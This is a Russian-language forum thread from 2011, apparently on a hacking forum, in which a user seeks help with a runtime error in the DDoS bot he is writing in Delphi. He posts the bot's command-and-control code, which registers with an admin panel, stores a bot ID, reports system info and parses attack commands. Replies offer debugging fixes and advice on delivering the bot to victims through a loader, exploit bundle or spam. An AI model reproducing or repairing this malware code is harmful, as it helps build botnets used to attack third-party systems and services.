delphi. runtime error 216

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by realcoder, 21 May 2011.

  1. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    пишу свой ddos бот на дельфях.
    написал код для получения id бота(идентефикатор который храниться в файле и бот используя его отчитывается перед админкой). выдается он из админки.
    столкнулся с такой проблемой.
    вот код получения команды и id-а
    Code:
    type //структура команды
      command=record
      cmd:string;
      param1:string;
      param2:string;
      param3:string;
      param4:string;
      param5:string;
      param6:string;
      param7:string;
      end;
     
    function getid:string;
    var s:pchar;
    f:_WIN32_FIND_DATAA;
    fh,ff:textfile;
    inet,url:HINTERNET;
    readed:dword;
    begin
    if FindFirstFile('params.ini',f)=INVALID_HANDLE_VALUE   then begin //если нет файла с id-ом то...
    inet:=INTERNETOPEN('mozilla 5.0',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0);
    url:=internetopenurl(inet,pchar(reg_b+'?act=getid'),nil,0,0,0);//получием id
    internetreadfile(url,s,128,readed);
    s:=pchar(copy(string(s),pos('[id]',string(s))+length('[id]'),pos('[/id]',string(s))-(pos('[id]',string(s))+length('[id]'))));//парсим(защита от рекламных банеров)
    assignfile(fh,'params.ini');//создадим файл
    rewrite(fh);
    s[readed]:=chr(0);
    writeln(fh,s,readed);//запишем id туда
    closefile(fh);//закрываем файл
    result:=s;//возвращаем id
    exit;//выходим
    end else//ах есть файл?!
    begin
    assignfile(ff,'params.ini');//откроем...
    reset(ff);
    readln(ff,result);//считаем
    closefile(ff);//закроем
    end;
    end;
    
    function GetCommand :String;//получение команды
    var
      hSock :HINTERNET;
      hFile :HINTERNET;
      lpdwNumberOfBytesRead :DWORD;
      id:string;
      Command :array [0..255] of Char;
    begin
      id:=getid;//получим id
      hSock := InternetOpen(PChar(UserAgent[5]), 0, nil, nil, 0);
      hFile := InternetOpenUrl(hSock, PChar(reg_b+'?info='+sys_info+'&ver='+ver+'&note='+note+'&id='+id), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0);//запросим команду
      InternetReadFile(hFile, @Command, Length(Command), lpdwNumberOfBytesRead);//считаем
      Result := Copy(Command,1,lpdwNumberOfBytesRead);//возвратим
      InternetCloseHandle(hSock);
    end;
    
    function get_cmd:command;
       var s:string;
       begin
       s:=GetCommand;//получим команду
    {распарсим команду вида команда|параметр|параметр|...|....|... на структуру command}
       s:=copy(s,pos('[cmd]',s)+length('[cmd]'),pos('[/cmd]',s)-(pos('[cmd]',s)+length('[cmd]')));
       //messagebox(0,pchar(s),'',MB_OK);
       result.cmd:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param1:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param2:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param3:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param4:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param5:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param6:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       end;
    
    дак вот сотбственно проблема:
    когда файл с id-ом есть все нормально работает. но если нету,то вылетает ошибка runtime error 216. хотя id получается корректный в любом случае и записывается файл пред вылетом проги. прогнал под отладчиком и выяснил что в случае когда файла нет то в функции парсинга выполняется только первая и последняя строчка:
    Code:
    function get_cmd:command;
       var s:string;
       begin
       s:=GetCommand;//получим команду
    {распарсим команду вида команда|параметр|параметр|...|....|... на структуру command}
       s:=copy(s,pos('[cmd]',s)+length('[cmd]'),pos('[/cmd]',s)-(pos('[cmd]',s)+length('[cmd]')));
       //messagebox(0,pchar(s),'',MB_OK);
       result.cmd:=copy(s,1,pos('|',s)-1);//эта строчка выполняется
    // эти нет  
       delete(s,1,pos('|',s));
       result.param1:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param2:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param3:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param4:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param5:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result.param6:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));//а эта выполняется
       end;
    
    команда тоже корректная получается(если раскоментить мессаджбокс можно увидеть это) но не могу понять почему пропускаются все строчки кроме первой и последней? условных и безусловных переходов там нет.
     
  2. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    Ну попробуй сделать какое то условия, или сначала строчок begin а в конце end; поставь
     
  3. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Я не спец в этом, но мб можно через FileExists()?
     
  4. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    можно. но тогда придется подключать sysutils и ddos бот будет весить ~100 кб, что не позволительно для малвара
    насчет условия так? :
    Code:
    if true then begin
    //парсинг строки
     end;
    
     
  5. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Угу...
     
  6. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    Отпишы если получилось!!
     
  7. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    нет. все равно со строки
    result.cmd:=copy(s,1,pos('|',s)-1);
    прыгает сразу на
    delete(s,1,pos('|',s));
     
  8. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    ну так походу и оно будет делать оно будет только искать первое вхождения и удалять его, тебе надо както потом обновлять строчку, или ставить условия если это сделано , тогда делаем следующе!!!
     
  9. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    переделал процедуру:
    Code:
    function get_cmd:command;
       var s:string;
       r:command;
       begin
       s:=GetCommand;
       //messagebox(0,pchar(s),'',MB_OK);
       if s<>'' then begin
       s:=copy(s,pos('[cmd]',s)+length('[cmd]'),pos('[/cmd]',s)-(pos('[cmd]',s)+length('[cmd]')));
       r.cmd:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       r.param1:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       r.param2:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       r.param3:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       r.param4:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       r.param5:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       r.param6:=copy(s,1,pos('|',s)-1);
       delete(s,1,pos('|',s));
       result:=r;
       //messagebox(0,pchar(result.cmd),'',mb_ok);
       end;
    
    выполняется все, но ошибка остается. напоминаю что она возникает при выполнении следующего кода:
    Code:
    if FindFirstFile('params.ini',f)=INVALID_HANDLE_VALUE   then begin
    inet:=INTERNETOPEN('mozilla 5.0',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0);
    url:=internetopenurl(inet,pchar(reg_b+'?act=getid'),nil,0,0,0);
    internetreadfile(url,s,128,readed);
    s:=pchar(copy(string(s),pos('[id]',string(s))+length('[id]'),pos('[/id]',string(s))-(pos('[id]',string(s))+length('[id]'))));
    assignfile(fh,'params.ini');
    rewrite(fh);
    s[readed]:=chr(0);
    writeln(fh,s,readed);
    closefile(fh);
    result:=s;
    exit;
    end
    
     
  10. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ошибаешься. Размер бота абсолютно не критичен. Он может быть хоть несколько мегабайт.

    А вот немного весить должен лоадер, который будет загружать твоего бота к жертве на комп. И то только, если ты его будешь впаривать через связку. Если спамом, иным путём - тоже пофиг.
     
  11. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    Ну как сказать ... если пишет на заказ или что то вроде этого.... то надо что бы вес был маленький!!
     
  12. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    ап! проблема так и не решена.
     
  13. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    проблема конечно не в этом, но вместо copy, del можно ExtractStrings запихать

    Code:
    function FileCanBeAssigned(const Origin: string): boolean;
    var
      F: TFileStream;
    begin
    {
          Если файл невозможно открыть, то Create сгенерирует исключение.
          Возвращает true если файл не заблокирован
      }
      try
        F := TFileStream.Create(Origin, fmOpenReadWrite or fmShareExclusive);
        try
          Result := true;
        finally
          F.Free;
        end;
      except
        Result := false;
      end;
    end;
    true - файл существует и не занят
    false - не существует либо занят
    На каком-то блоге встречал fileexists написанную на Api, ща попытаюсь найти

    Code:
    function FileExists(param: string): boolean;
    var
      h: integer;
    begin
      h:=_lopen(PChar(param), OF_SHARE_COMPAT);
      Result:=(h <> HFILE_ERROR);
      if Result then
        _lclose(h);
    end;
    или же
    Code:
    function FileExists(FileName:string):boolean;
    var
      FindData: TWin32FindData;
    begin
      Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE);
    end;
     
    #13 xophet, 26 May 2011
    Last edited: 26 May 2011
  14. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    extractstrings и tfilestream находиться в модуле classes, а я пишу бот с использованием только windows api функций, ибо малварь и vcl - вещи не совместимые
    а это попробую вынести в отдельную функцию. может может это что-то и даст